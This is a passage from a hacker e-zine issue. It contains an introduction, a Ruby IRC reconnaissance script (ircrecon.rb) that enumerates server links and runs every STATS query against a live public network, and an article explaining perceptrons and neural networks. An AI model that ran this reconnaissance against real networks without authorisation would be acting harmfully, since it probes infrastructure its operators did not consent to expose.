</h:form>
When the user submits the login form, he will be redirected to his OpenID provider. The user will eventually
return to your application through the Seam pseudo-view
/openid.xhtml, which is
provided by the
OpenIdPhaseListener. Your application can handle the OpenID response by means
of a
pages.xml navigation from that view, just as if the user had never left your application.
The simplest strategy is to simply login the user immediately. The following navigation rule shows how to handle this using
the
#{openid.loginImmediately()} action.
<page view-
<navigation evaluate="#{openid.loginImmediately()}">
<rule if-
<redirect view-
<message>OpenID login successful...</message>
</redirect>
</rule>
<rule if-
<redirect view-
<message>OpenID login rejected...</message>
</redirect>
</rule>
</navigation>
</page>
Thie
loginImmediately() action checks to see if the OpenID is valid. If it is valid, it adds an
OpenIDPrincipal to the identity component, marks the user as logged in (i.e.
#{identity.loggedIn} will be true)
and returns true. If the OpenID was not validated, the method returns false, and the user re-enters the application un-authenticated.
If the user's OpenID is valid, it will be accessible using the expression
#{openid.validatedId} and
#{openid.valid} will be true.
You may not want the user to be immediately logged in to your application. In that case, your navigation
should check the
#{openid.valid} property and redirect the user to a local registration or processing
page. Actions you might take would be asking for more information and creating a local user account or presenting a captcha
to avoid programmatic registrations. When you are done processing, if you want to log the user in, you can call
the
loginImmediately method, either through EL as shown previously or by directly interaction with the
org.jboss.seam.security.openid.OpenId component. Of course, nothing prevents you from writing custom
code to interact with the Seam identity component on your own for even more customized behaviour.
Logging out (forgetting an OpenID association) is done by calling
#{openid.logout}. If you
are not using Seam security, you can call this method directly. If you are using Seam security, you should
continue to use
#{identity.logout} and install an event handler to capture the logout event, calling
the OpenID logout method.
<event type="org.jboss.seam.security.loggedOut">
<action execute="#{openid.logout}" />
</event>
It's important that you do not leave this out or the user will not be able to login again in the same session.
|
http://docs.jboss.org/seam/2.2.0.CR1/reference/en-US/html/security.html
|
crawl-003
|
en
|
refinedweb
|
#include <CbcHeuristicRINS.hpp>
Inheritance diagram for CbcHeuristicRINS:
Definition at line 10 56 of file CbcHeuristicRINS.hpp.
Sets decay factor (for howOften) on failure.
Definition at line 59 of file CbcHeuristicRINS.hpp.
References decayFactor_.
Used array so we can set.
Definition at line 62 of file CbcHeuristicRINS.hpp.
Number of solutions so we can do something at solution.
Definition at line 69 of file CbcHeuristicRINS.hpp.
How often to do (code can change).
Reimplemented from CbcHeuristic.
Definition at line 71 of file CbcHeuristicRINS.hpp.
Referenced by setHowOften().
How much to increase how often.
Reimplemented from CbcHeuristic.
Definition at line 73 of file CbcHeuristicRINS.hpp.
Referenced by setDecayFactor().
Number of successes.
Definition at line 75 of file CbcHeuristicRINS.hpp.
Number of tries.
Definition at line 77 of file CbcHeuristicRINS.hpp.
Whether a variable has been in a solution.
Definition at line 79 of file CbcHeuristicRINS.hpp.
|
http://www.coin-or.org/Doxygen/Smi/class_cbc_heuristic_r_i_n_s.html
|
crawl-003
|
en
|
refinedweb
|
#include <CbcHeuristic.hpp>
Collaboration diagram for CbcHeuristicNode:
Definition at line 25 of file CbcHeuristic.hpp.
The number of branching decisions made.
Definition at line 32 of file CbcHeuristic.hpp.
The indices of the branching objects.
Note: an index may be listed multiple times. E.g., a general integer variable that has been branched on multiple times.
Definition at line 36 of file CbcHeuristic.hpp.
|
http://www.coin-or.org/Doxygen/Smi/class_cbc_heuristic_node.html
|
crawl-003
|
en
|
refinedweb
|
#include <CbcHeuristicLocal.hpp>
Inheritance diagram for CbcHeuristicLocal:
Definition at line 10 of file CbcHeuristicLocal is called after cuts have been added - so can not add cuts First tries setting a variable to better value. If feasible then tries setting others. If not feasible then tries swaps
This first version does not do LP's and does swaps of two integer variables. Later versions could do Lps.
Implements CbcHeuristic.
This version fixes stuff and does IP.
Sets type of search.
Definition at line 62 of file CbcHeuristicLocal.hpp.
Used array so we can set.
Definition at line 65 of file CbcHeuristicLocal.hpp.
Definition at line 72 of file CbcHeuristicLocal.hpp.
Definition at line 75 of file CbcHeuristicLocal.hpp.
Definition at line 77 of file CbcHeuristicLocal.hpp.
Referenced by setSearchType().
Whether a variable has been in a solution.
Definition at line 79 of file CbcHeuristicLocal.hpp.
|
http://www.coin-or.org/Doxygen/Smi/class_cbc_heuristic_local.html
|
crawl-003
|
en
|
refinedweb
|
#include <CbcHeuristic.hpp>
Inheritance diagram for CbcHeuristicJustOne:
Definition at line 463 of file CbcHeuristic.hpp.
Clone.
Implements CbcHeuristic.
Assignment operator.
Create C++ lines to get to current state.
Reimplemented from CbcHeuristic.
returns 0 if no solution, 1 if valid solution with better objective value than one passed in Sets solution values if good, sets objective value (only if good) This is called after cuts have been added - so can not add cuts This does Fractional Diving
Implements CbcHeuristic.
Resets stuff if model changes.
Implements CbcHeuristic.
update model (This is needed if cliques update matrix etc)
Reimplemented from CbcHeuristic.
Returns true if all the fractional variables can be trivially rounded.
Returns false, if there is at least one fractional variable that is not trivially roundable. In this case, the bestColumn returned will not be trivially roundable. This is dummy as never called
Definition at line 507 of file CbcHeuristic.hpp.
Validate model i.e. sets when_ to 0 if necessary (may be NULL).
Reimplemented from CbcHeuristic.
Adds an heuristic with probability.
Normalize probabilities.
Definition at line 522 of file CbcHeuristic.hpp.
Definition at line 525 of file CbcHeuristic.hpp.
Definition at line 528 of file CbcHeuristic.hpp.
|
http://www.coin-or.org/Doxygen/Smi/class_cbc_heuristic_just_one.html
|
crawl-003
|
en
|
refinedweb
|
#include <CbcHeuristicGreedy.hpp>
Inheritance diagram for CbcHeuristicGreedyCover:
Definition at line 10 of file CbcHeuristicGreedy.hpp.
Clone.
Implements CbcHeuristic.
Assignment operator.
Create C++ lines to get to current state.
Reimplemented from CbcHeuristic.
update model (This is needed if cliques update matrix etc).
Validate model i.e. sets when_ to 0 if necessary (may be NULL).
Reimplemented from CbcHeuristic.
Resets stuff if model changes.
Implements CbcHeuristic.
Definition at line 60 of file CbcHeuristicGreedy.hpp.
References algorithm_.
Definition at line 62 of file CbcHeuristicGreedy.hpp.
References algorithm_.
Definition at line 65 of file CbcHeuristicGreedy.hpp.
References numberTimes_.
Definition at line 67 of file CbcHeuristicGreedy.hpp.
References numberTimes_.
Definition at line 76 of file CbcHeuristicGreedy.hpp.
Definition at line 78 of file CbcHeuristicGreedy.hpp.
Definition at line 84 of file CbcHeuristicGreedy.hpp.
Referenced by algorithm(), and setAlgorithm().
Do this many times.
Definition at line 86 of file CbcHeuristicGreedy.hpp.
Referenced by numberTimes(), and setNumberTimes().
|
http://www.coin-or.org/Doxygen/Smi/class_cbc_heuristic_greedy_cover.html
|
crawl-003
|
en
|
refinedweb
|
The Current Account Diversion
Below is an extract from a commentary originally posted at on 25th January 2007.
We thought we'd weigh-in on a debate between Peter Schiff and Robert Murphy regarding the implications of the US's large and seemingly ever-expanding current account deficit (and corresponding capital account surplus since a deficit on the current account must be offset by an equivalent surplus on the capital account). Mr Schiff argues that the current account deficit is a major problem that virtually guarantees a much lower US$, whereas Mr Murphy argues that today's balance of payments situation is not necessarily a bad thing and does not point towards a weaker US$.
On this topic our views are much closer to those of Mr Murphy than those of Mr Schiff. A large current account deficit does not, in and of itself, constitute a problem. The fact is that it can be advantageous for some countries to run current account deficits and, at the same time, advantageous for other countries to run current account surpluses, just as it can be advantageous for two individuals to engage in a transaction whereby one individual provides goods or services to the other in exchange for the promise of a future return (an IOU or a stake in a business venture, for instance). Actually, the simplest way to see that neither a current account deficit nor a current account surplus is necessarily problematical is to reduce the issue to the individual level. After all, no country decides to run a current account deficit or surplus; rather, the balance of payments situation for any country is the net result of millions upon millions of individual transactions.
To make the point that neither a deficit nor a surplus on the current account is necessarily a bad thing Mr Murphy describes the hypothetical example of an American entrepreneur who can't afford to purchase the office equipment (computers, photocopiers, phone system, etc.) needed to get a new business off the ground. In exchange for a stake in the business, some Japanese investors send the American entrepreneur the required office equipment thus allowing him to begin the wealth creation process. If the business succeeds then both parties to the transaction -- the American entrepreneur and his Japanese investors -- will benefit. The US economy as a whole also stands to benefit despite the fact that the transaction adds to America's current account deficit.
Further to the above and as we've noted many times in previous commentaries, the US current account deficit is not a good reason, in itself, to be bearish on the US dollar. A large current account deficit can sometimes, however, be symptomatic of an inflation (money-supply growth) problem in that a relatively high inflation rate in a country will lead to a relatively large rise in the costs of doing business within that country, thus increasing the incentive to import goods rather than manufacture them locally. And a relatively high inflation rate IS a very good reason to be long-term bearish on a currency. In fact, a relatively high inflation rate is the ONLY good reason to be long-term bearish on a currency.
In general terms, what happens is that if the supply of Currency A consistently grows at a faster rate than the supply of Currency B then Currency A will end up losing its purchasing power at a quicker rate than Currency B; and if this happens then the A/B exchange rate will trend lower over the long-term. Under such circumstances Country A will most likely end up running a greater current account deficit than would otherwise have been the case, but it's critically important to realise that the problem lies in the inflation, not in the current account.
Which leads us to the question: Has the large US current account deficit stemmed from a relatively high US inflation rate?
We think the answer is yes; inflation has, over the past several years, been an important contributor to the widening of America's current account deficit. There are two reasons for thinking this way. First, the supply of US dollars increased at a relatively high rate during 1998-2002 and this inflation, like all inflations, undoubtedly resulted in misdirected investment and higher costs. Second, a substantial portion of the external demand for US dollars over the past 5 years has come from foreign central banks.
Expanding on the second of the aforementioned reasons, it seems that over the past 5 years private foreign investors, as a group, have not been overly impressed by the potential real investment returns on offer in the US. As a result, foreign central banks -- institutions that often have as their primary motivation something other than achieving a reasonable real return on investment -- have had to 'take up the slack'. As opposed to being comprised almost entirely of transactions of a similar nature to the one in the above-described hypothetical example, over the past 5 years a big chunk of the foreign investment demand for US dollars has been associated with the currency-management programs of foreign central banks. Specifically, foreign central banks have bought-up huge quantities of US dollars and funneled these dollars into the US bond market with the primary goal of preventing their own currencies from appreciating. Such dollar-support operations would never have been necessary had the large current account deficit not been an effect of rampant US$ inflation.
But that was then and this is now. Over the most recent 3-year period the US dollar's inflation rate has generally been lower than the inflation rates of its major fiat currency counterparts. Therefore, whereas it was an obvious choice for us to be long-term bearish on the Dollar Index back in 2000-2004, it is no longer a cinch that the US dollar's foreign exchange value will ultimately trade at much lower levels. This is not because the US dollar's fundamentals have improved, but because other currencies' fundamentals have worsened. (As an aside, the rapid simultaneous devaluation of all fiat currencies via inflation improves the long-term investment case for gold. Gold will eventually become widely recognised for what it already is: the only viable alternative to the dollar.)
In conclusion, the US$ bears whose bearish outlooks are primarily based on the current account deficit might end up being right about the dollar, but if so they will be right for the wrong reason. Specifically, they will only be right if the US$ inflation rate once again becomes relatively high. On the other hand, making a long-term bet against the US$ via currencies such as the euro, the British Pound and the Canadian Dollar -- a tactic that worked very well during 2002-2004 -- will result in losses if the relative inflation-rate trends of the past three years continue.
TweetTweet
|
http://www.safehaven.com/article/6804/the-current-account-diversion
|
crawl-003
|
en
|
refinedweb
|
SYNOPSIS
con-
text option-
ally a 14-bit code returned from the stop-and-signal instruction on the
SPU. The bit masks for the status codes are: sig-
nal archi-
tecture.-
computing/linuxoncell/ for the recommended libraries.
EXAMPLE
The following is an example of running a simple, one-instruction SPU
program with the spu_run() system call.
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
/*);
}
SEE ALSO
close(2), spu_create(2), capabilities(7), spufs(7)
COLOPHON
This page is part of release 3.23 of the Linux man-pages project. A
description of the project, and information about reporting bugs, can
be found at.
|
http://www.linux-directory.com/man2/spu_run.shtml
|
crawl-003
|
en
|
refinedweb
|
set
SYNOPSIS
#define _XOPEN_SOURCE 500
#include <unistd.h>
ssize_t pread(int fd, void *buf, size_t count, off_t offset);
ssize_t pwrite(int fd, const void .
SEE ALSO
lseek(2), read(2), write(2), feature_test_macros(7)
COLOPHON
This page is part of release 3.23 of the Linux man-pages project. A
description of the project, and information about reporting bugs, can
be found at.
|
http://www.linux-directory.com/man2/pread64.shtml
|
crawl-003
|
en
|
refinedweb
|
lazy 1.0
Lazy attributes for Python objects
Downloads ↓ | Package Documentation
Package Contents
- @lazy
- A decorator to create lazy attributes.
Overview
Lazy attributes are computed attributes that are evaluated only once, the first time they are used. Subsequent uses return the results of the first call. They come handy when code should run
- late, i.e. just before it is needed, and
- once, i.e. not twice, in the lifetime of an object.
You can think of it as deferred initialization. The possibilities are endless.
Examples
The class below creates its store resource lazily:
from lazy import lazy class FileUploadTmpStore(object): @lazy def store(self): location = settings.get('fs.filestore') return FileSystemStore(location) def put(self, uid, fp): self.store.put(uid, fp) fp.seek(0) def get(self, uid, default=None): return self.store.get(uid, default)
Another application area is caching:
class PersonView(View): @lazy def person_id(self): return self.request.get('person_id', -1) @lazy def person_data(self): return self.session.query(Person).get(self.person_id)
Credits
I first encountered this type of descriptor in the zope.cachedescriptors package, which is part of the Zope Toolkit.
- Author: Stefan H. Holek
- Documentation: lazy package documentation
- Keywords: decorator lazy attribute
- License: BSD
- Categories
- Package Index Owner: stefanholek
- DOAP record: lazy-1.0.xml
|
http://pypi.python.org/pypi/lazy
|
crawl-003
|
en
|
refinedweb
|
lazy-reload 1.1
The Lazy Python Reloader
This is one way to control what happens when you reload. Modules are reloaded in the same order they would be if they were being loaded for the first time, and for the same reasons, thus eliminating some of the unpredictability associated with circular module references.
Usage
from lazy_reload import lazy_reload import foo.bar.baz lazy_reload(foo) from foo.bar import baz # <= foo, bar, and baz reloaded here
Motivation
The problems with reloading modules in Python are legion and well-known. During the course of ordinary execution, references to objects in the modules and to the modules themselves end up distributed around the object graph in ways that can be hard to manage and hard to predict. As a result, it's very common to have old code hanging around long after the reload, possibly referencing things you expect to have reloaded. This is not necessarily Python's fault: it's just a hard problem to solve well.
As a result, most applications that need to update their code dynamically find a way to start up a new python process for that purpose. I strongly recommend you do that if it's an option for you; you'll save yourself lots of debugging headaches in the long run. For the rest of us, there's lazy_reload.
What Python's __builtin__.reload Does
The reload() function supplied by Python is very simple-minded: it causes the module's source file to be interpreted in the context of the existing module object. Any attributes of the module that aren't overwritten by that interpretation remain in place. So for example, a module can detect that it's being reloaded as follows:
if 'already_loaded' in globals(): print 'I am being reloaded' already_loaded = True
Also, Python makes no attempt to update references to that module elsewhere in your program. Because the identity of the module object doesn't change, direct module references will still work. However, any existing references to functions or classes defined within that module will still point to the old definitions. Objects created before the reload still refer to outdated classes via their __class__ attribute, and any local names that have been imported into other modules still reference their old definitions.
What lazy_reload Does
lazy_reload(foo) (or lazy_reload('foo')) removes foo and all of its submodules from sys.modules, and arranges that the next time any of them are imported, they will be reloaded.
What lazy_reload Doesn't Do
It doesn't eliminate references to the reloaded module from other modules. In particular, having loaded this:
# bar.py import foo def f(): return foo.x
the reference to foo is already present in bar, so after lazy_unload(foo), a call to bar.f() will not cause foo to be reloaded even though it is used there. Thus, you are safest using lazy_unload on top-level modules that are not known to other parts of your program by name.
It doesn't immediately cause anything to be reloaded. Remember that the reload operation is lazy, and only happens when the module is being imported.
It also doesn't cause anything to be "unloaded," nor does it do anything explicit to reclaim memory. If the program is holding references to functions and classes, don't expect them to be garbage-collected. (Watch out for backtraces; information from the last exception raised can keep things alive longer than you'd like).
It doesn't fold your laundry or wash your cats. If you don't enjoy these activities yourself, consider the many affordable alternatives to pets and clothes.
- Author: Dave Abrahams
- License: Boost License 1.0
- Categories
- Package Index Owner: bewst
- DOAP record: lazy-reload-1.1.xml
|
http://pypi.python.org/pypi/lazy-reload
|
crawl-003
|
en
|
refinedweb
|
Go Null Yourself E-zine Issue 6 - Topics in this issue include Floating Point Numbers Suck, How Skynet Works, Defeating NX/DEP With return-to-libc and ROP, and more.
6e413cb4d2e8da2a0c030a83866d7438
` ` ` ` `
`-s
-=-=- elchupathingy @ irc.gonullyourself.org #gny)
- Reddit (stormehh @ reddit.com/r/gny):. In theory, ambient noise is limited by quantum
noise (caused by the quantum movements of ions). Ambient noise may be severely reduced - but
never to zero - by using cryogenically cooled parametric amplifiers. Moreover, given unlimited
time and memory, the (ideal) digital computer may also solve real number problems.
-
---------------------------------------------------------------------------
IRC_NICK = 'IRC-Recon'
# Username part of host mask to claim when registering with the network
IRC_USER = 'ircrecon'
# "Real name" or "gecos" information part of USER command in raw IRC
IRC_INFO = %q{ircrecon.rb by duper}
# Alphabetic DNS hostname or numeric IP address of target IRC server
IRC_HOST = 'irc.rizon.net.'
# Port number that the ircd is listening on, a.k.a. P:lines.
IRC_PORT = 6697
# Will this be an SSL-based TCP connection?
IS_SSL = true
## Toy with these WAIT_* globals if you experience Excess Flood, Max Sendq, etc.
# Amount of time in seconds to wait when server load is heavy
WAIT_SECS1 = 1.4
# How long to sleep after sending a large sequence of commands
WAIT_SECS2 = 2.8
# Length of grace period between keep-alive PONG messages
PONG_SECS = 8
# Label output that is not raw IRC responses with the following text
OUT_LABEL = '{(IRC-RECON)}'
# Boolean that increases output verbosity when set to true; displays the STATS
# request that is currently awaiting a response (good for large networks.)
OUT_VERBOSE = true
## Lists of local and remote raw IRC commands
# Localized raw IRC commands, i.e. those without any server name argument.
IRC_LOC_CMDS = [ 'HELP',
'MAP', ]
# Uncommenting LIST may slow things down on large networks with many channels.
# Technically however, LIST is a localized command just like the rest.
# 'LIST', ]
# IRC network commands, i.e. raw IRC requests that take a remote server name
# as an argument. In raw IRC this appears as: "COMMAND :remote.server.name".
# Feel free to add any additional custom raw IRC commands here.. The default
# list was taken from RFC's and the response of the Unreal IRC HELPOP command.
IRC_NET_CMDS = [ 'ADMIN',
'CREDITS',
'DALINFO',
'INFO',
'LICENSE',
'LUSERS',
'MODULES',
'MOTD',
'RULES',
'SERVLIST',
'TIME',
'TRACE',
'USERS',
'VERSION', ]
### DON'T CHANGE ANYTHING BELOW HERE UNLESS YOU KNOW WHAT YOU'RE DOING!
asock, @@athread, @@acount = false, false, 0
def prem_exit(astr)
puts OUT_LABEL
puts "#{OUT_LABEL} #{astr} signal trap received; exiting prematurely."
puts OUT_LABEL
@@athread.kill() if @@athread
exit(-1)
end
Signal.trap('INT') do
puts
prem_exit('Interrupt')
end
Signal.trap('PIPE') { prem_exit('Pipe') }
Signal.trap('TERM') { prem_exit('Termination') }
def show_except(aexc = nil)
return false if aexc.nil?
$stderr.puts(aexc.backtrace.join("\n"))
$stderr.puts(aexc.inspect)
true
end
puts OUT_LABEL
puts "#{OUT_LABEL} ircrecon.rb script by duper <super@deathrow.vistech.net>"
puts "#{OUT_LABEL} #{RUBY_DESCRIPTION}"
puts OUT_LABEL
begin
print "#{OUT_LABEL} Trying..."
if IS_SSL
include OpenSSL
@@asock = TCPSocket.new(IRC_HOST, IRC_PORT)
@@asock_context = SSL::SSLContext.new()
@@asock_socket = SSL::SSLSocket.new(@@asock, @@asock_context)
@@asock_socket.sync_close = true
@@asock_socket.connect()
@@asock = @@asock_socket
puts %q{SSL-IRC connection established!}
puts OUT_LABEL
puts "#{OUT_LABEL} #{@@asock_socket.peer_cert_chain}"
acipher = @@asock_socket.cipher
analgo, aproto, akeysz = acipher[0], acipher[1], acipher[2]
puts OUT_LABEL
puts "#{OUT_LABEL} Algorithm: #{analgo} Protocol: #{aproto} Key Size: #{akeysz} bits"
else
@@asock = TCPSocket.new(IRC_HOST, IRC_PORT)
puts %q{IRC connection established!}
end
puts OUT_LABEL
rescue Exception => e
puts %q{'TCP connection failed!'}
show_except(e)
exit(-1)
end
print "#{OUT_LABEL} Connected to port #{IRC_PORT} on host #{IRC_HOST}"
print " (SSL-enabled)" if IS_SSL
puts
puts "#{OUT_LABEL} Registering client info with IRC network.."
puts OUT_LABEL
begin
@@asock.puts('NICK ' << IRC_NICK)
@@asock.puts('USER ' << IRC_USER << " . . :" << IRC_INFO)
rescue Exception => e
show_except(e)
exit(-2)
end
loop do
l = nil
begin
l = @@asock.gets()
break if !l or l.empty?
rescue Exception => e
puts %q{Error reading data while registering IRC client!}
show_except(e)
exit(-3)
end
puts l
# Handle nospoof patch that deters all forms of blindly spoofing IP addresses
if l[0,5].upcase.start_with?('PING ')
@@asock.puts('PONG :' << l.split[1])
puts "#{OUT_LABEL} Responded to target server's nospoof PING nonce"
break
end
# Nickname already in use
if l.include?(' 433 ')
@@acount += 1
@@asock.puts("NICK #{IRC_NICK}#{@@acount}")
end
# Read end of /MOTD, we're already registered! :-)
if l.include?(' 376 ')
puts "#{OUT_LABEL} Target server is not using a nospoof patch!"
break
end
end
servs, @@linez = [], []
begin
print "#{OUT_LABEL} Enumerating linked server names:"
@@asock.puts('LINKS')
loop do
l = @@asock.gets()
next if !l or l.empty?
x = l.split[3 .. -1]
next if x.nil? or x.empty?
y = l.split[0 .. 2].join(' ')
if y.include?(' 364 ')
@@linez << l
@@servs << x.first
end
break if y.include?(' 365 ')
end
rescue Exception => e
puts %q{Error encountered while reading LINKS response!}
show_except(e)
exit(-4)
end
servs.each { |s| print ' ' << s }
linez.each { |k| puts k }
puts
puts "#{OUT_LABEL} Starting 'keep-alive' PONG sending thread"
athread = Thread.new() {
begin
loop do
@@asock.puts('PONG :' << IRC_HOST)
sleep(PONG_SECS)
end
rescue Exception => e
puts %q{Caught exception while sending 'keep-alive' PONG message!}
$stderr.puts(e.inspect)
return false
end
true
}
puts "#{OUT_LABEL} Executing list of localized raw IRC commands"
begin
IRC_LOC_CMDS.each { |c| @@asock.puts(c) }
rescue Exception => e
puts %q{Unable to send local command request data to server}
show_except(e)
exit(-5)
end
load_flag, @@ahash = false, {}
# We're getting the STATS reports for the ircd.conf lines individually, so we
# don't miss any due to the server load being too high at a particular time.
# This is bound to happen consistently on a large/busy IRC network--be prepared
# to wait a while for the results.
def get_stats(achar, aserv = '')
begin
if aserv.nil? or aserv.empty?
@@asock.puts('STATS ' << achar)
else
@@asock.puts('STATS ' << achar << ' ' << aserv)
end
loop do
l = @@asock.gets()
return false if not l or l.empty?
# End of /STATS report
break if l.include?(' 219 ')
# Permission denied (not an IRC operator)
break if l.include?(' 481 ')
# Default /STATS response ("Unused", according to RFC2812 Section 5.1)
break if l.include?(' 210 ')
# Server load is temporarily too heavy
if l.include?(' 263 ')
if !@@load_flag
@@load_flag = true
print "#{OUT_LABEL} Warning: Server load is temporarily too heavy!"
puts ' (This might take a while)'
end
# puts statement that was used for debugging current STATS status
if OUT_VERBOSE
@@ahash[achar] = Hash.new if !@@ahash[achar]
if !@@ahash[achar][aserv]
@@ahash[achar][aserv] = true
puts "#{OUT_LABEL} STATS #{achar} #{aserv}"
end
end
sleep(WAIT_SECS1)
@@asock.puts('STATS ' << achar << ' ' << aserv)
end
puts l
end
rescue Exception => e
show_except(e)
end
sleep(WAIT_SECS1)
true
end
puts "#{OUT_LABEL} Executing list of remote raw IRC commands"
servs.each do |s|
puts "#{OUT_LABEL} Beginning to enumerate data from #{s} ..."
IRC_NET_CMDS.each do |c|
begin
@@asock.puts(c << ' ' << s)
rescue Exception => e
show_except(e)
end
end
('a' .. 'z').each { |x| get_stats(x, s) }
sleep(WAIT_SECS2)
('A' .. 'Z').each { |x| get_stats(x, s) }
puts "#{OUT_LABEL} Finished enumerating data from #{s}!"
end
begin
puts "#{OUT_LABEL} Reconnaissance sequence complete on all servers!"
print "#{OUT_LABEL} Waiting on cleanup of outstanding threads"
@@athread.kill() if @@athread
puts "Done!"
puts "#{OUT_LABEL} Displaying remaining server responses, then exiting."
rescue
end
loop do
begin
l = @@asock.gets()
next if !l or l.empty?
if l.start_with?('ERROR')
puts l
break
end
x = l.split[3 .. -1]
next if !x or x.empty?
y = l.split[0 .. 2].join(' ')
# Ignore erroneous STATS response codes
next if y.include?(' 210 ') or y.include?(' 481 ') or y.include?(' 219 ')
z = x.join(' ')
next if not z or z.size <= 1
z = z[1 .. - 1] if z.start_with?(':')
print '[' << y.split.first[1 .. -1] << '] '
puts z
rescue Exception => e
$stderr.puts(e.inspect)
break
end
end
puts OUT_LABEL
puts "#{OUT_LABEL} Information gathering successful!"
puts OUT_LABEL
exit(0)
#EOF
################################################################################
#***END*OF*FILE**DUPER'S*CODE*CORNER**A*HAXNET*#PROJECTS*PRODUCTION*(TM)2011***#
################################################################################
[==================================================================================================]
-=[ 0x05 How Skynet Works: An Introduction to Neural Networks
-=[ Author: elchupathingy
-=[ IRC: irc.gonullyourself.org #gny
Skynet was designed as a system to determine the greatest threat and determine the best course
of action for survival. The real question about Skynet is not whether or not it will kill us, but
rather how it will know to kill humans. The answer to that is quite simple through an understanding
of machine learning. How does this work, and how does Skynet come to the conclusion to kill all
humans?
This is an area of Computer Science that describes and implements ways for computers to learn
how to recognize and, in a way, "think" about data that is inputted into its learning algorithm. But
what makes this possible?
To continue this in depth, we need to first look into how the human brain works. At a high
level, a symphony of biological, chemical, and electrical events and reactions combine to form what
we perceive to be conscious thought. This is a rather simple view of the actual details, so let's
take a closer look at one of these biological, chemical, and electrical events.
The following is a simple ASCII art representation of a neuron:
\/
Axon /\/<
\/ \/ \ /
\/ \__| \ _________ __/
\_____\__ / _______ \ / \ \/
>\ | \_________/ / \ \_/ |_____/___<
\__/| ___________/ \__ | \
___| / \__/ /\
/ \___/ \ \
/\ / \ \ \
_/\ \ /\ \
/ \ \ \
/\ /\ Nucleus Axon Terminal
\
\
\
Dendrites
From left to right:
Dendrites: The inputs that receive electrochemical stimulation
Nucleus: The "brain" and control center of the neuron
The nucleus determines when the neuron fires and various other functions, but
for this article we will only concern ourselves with its control over the
firing process.
Axon: Transmits electrical signals from the nucleus to the Axon terminals
Axon Terminal: Emits electric impulses to be sent to other connecting neurons in the brain
It should be noted that this is only a typical neuron, and there are many, many different kinds.
Neurons function by accepting chemical inputs, building up an electrical charge, and firing an
impulse when it is greater than a precisely defined threshold of the neuron. The event of firing an
impulse is known as action potential. This event causes more chemicals to be released and, in
effect, starts a chain reaction. This is the basic principle of how the brain performs computation.
Now, how is this useful? A simple model of the neuron has to be developed. Lucky for this article,
this has already been accomplished by Frank Rosenblatt, and it is called a perceptron. A perceptron
is an artificial representation of a neural network and its ability to think and execute tasks.
It contains:
A set of inputs: X
A set of weights: W
A threshold function: G
A threshold: T
Like a neuron, the perceptron will only fire if its threshold is exceeded.
The set of inputs, X, for this article will strictly be binary.
The set of weights are floating point values 0 < W < 1.
The threshold function is the summation of products of the weights and corresponding inputs, such
that:
/ \
_N_ | _M_ |
\ | \ |
/__ | /__ Wij * Xij |
i=0 | j=0 |
\ /
So, these pieces come together to form our perceptron. It can receive |x| inputs and, upon putting
these inputs through the threshold function, it will either fire (returning a 1) or not fire
(returning a 0).
Now, to make this useful a few technicalities need to be covered. The first is that this model of
the neuron, the perceptron, can have its weights changed but not its thresholds. Since we cannot
directly change the threshold of the perceptron, we must add another input called the bias input.
The bias input is a trick to allow the perceptron to change the threshold. This is done by fixing
its value to -1. Doing so in effect makes the threshold of our perceptron a 0, but it also has the
ability to fluctuate with the bias input's weight. This fluctuation allows the perceptron to find
the optimal firing threshold. Shown below is the summation of the weights and inputs, including the
bias input. The bias input is typically the first input, but this is not required and is just
convention.
-1 * W00 + X10 * W10 + X20 * W20 ... Xi0 * Wi0 = y0
-1 * W01 + X11 * W11 + X21 * W21 ... Xi1 * Wi0 = y1
.
.
.
-1 * Wi(j - 3 + Xi(j - 2) * Wi(j - 2) + Xi(j - 1) * Wi(j - 1) ... Xij * Wij = y
So, what does this mean? Now that the bias node has been added to the inputs, it has effectively
changed our threshold value to 0 and provided the ability to change the threshold of the perceptron
through manipulation of the weights. This makes the learning ability of the perceptron much stronger.
Let's now cover the manual way of setting up a perceptron to learn some action or result. The basic
logic operators are quite simple - they require two inputs and produce a single output, which can
model whether the perceptron fires or not.
Let's first look at OR.
Truth table:
_X1_|_X2_|_Y1_
0 | 0 | 0
1 | 0 | 1
0 | 1 | 1
1 | 1 | 1
The truth table shows us the inputs that our perceptron will receive (X1 and X2) and the expected
output (Y1). Now, lets figure out how to make the perceptron learn this logical function. First, we
need to figure out what its weights will be. This is simple; they will start out as random numbers,
such that -1.0 < Wij < 1.0. They can be one of infinite possibilities. As the neuron learns, the
weights will change to simulate how a neuron learns. A neuron learns through a process of trial and
error with the correct chemical balances to produce the correct firing threshold. The neuron in our
context does the same through changing its weights.
If the sum of the products of the weights and inputs doesn't cause the neuron to fire when it was
supposed to, then the weights must be changed so that the neuron fires the next time it sees this
input. Now, if the neuron is constantly changing the weights to reflect when it was supposed to fire
and not supposed to fire, then the neuron can be said to be unstable. Thus we must introduce a
mechanism to reduce the amount of instability in the neuron. This will be discussed further on. But,
as it stands the neuron will never learn the entire problem. It will only learn a few of the inputs
and expected outputs at a time and never completely generalize a solution.
How can this be solved? The neuron simply "slows down" its ability to learn by changing the amount
by which the weights are allowed to change. This is represented by N, or the learning rate (it has
a fancy Greek name, but learning rate is more specific).
It seems that we have strayed further away from getting our neuron to learn the simple logical
operation OR, but all of this is needed.
Back to the learning and weight changing. To get the new weight, we need to think of how this new
weight will be found. If the weights can be seen as a function to get how we change it, we need to
find the derivative of this function. The real derivation is quite annoying, so here is a simplified
version that will suit the needs of the perceptron:
dWij = ( Tk - Yk ) Xi
The change of the weights, W, can be seen as a function of the Target outputs, Tk, and the real
outputs, Yk, and the input, Xi, such that the new weight, Wij, will change in relation to the
difference of the targets and outputs multiplied by the inputs. But, this raises the earlier problem
of stability. In this manner the neuron will instantly learn the inputs and will ultimately forget
any prior learning. Thus, we must retard its learning speed. This is accomplished through the use of
a learning rate or eta, N. This will effectively act as a mechanism to remember old inputs. It does
so by only taking a portion of the change needed to fix the neuron for the current inputs rather
than the required amount. On a side note, it has been found that a N value that satisfies
0.1 < N < 0.4 is more than sufficient and bigger or smaller values lead to instability. With that
being said, we have arrived at the following formula:
Wij = Wij + N( Tk - Yk )Xi
With this, we can finally begin to learn our logical operation OR.
The first step is to choose the weights for our inputs, minding that there are in fact three weights
that need to be picked out.
W0 = -0.05, W1 = -0.02, W2 = 0.02
For the inputs, we will use the above truth table conveniently reproduced below:
Truth table:
_X1_|_X2_|_Y1_
0 | 0 | 0
1 | 0 | 1
0 | 1 | 1
1 | 1 | 1
Let's start slugging through some numbers:
X1 = 0 and X2 = 0
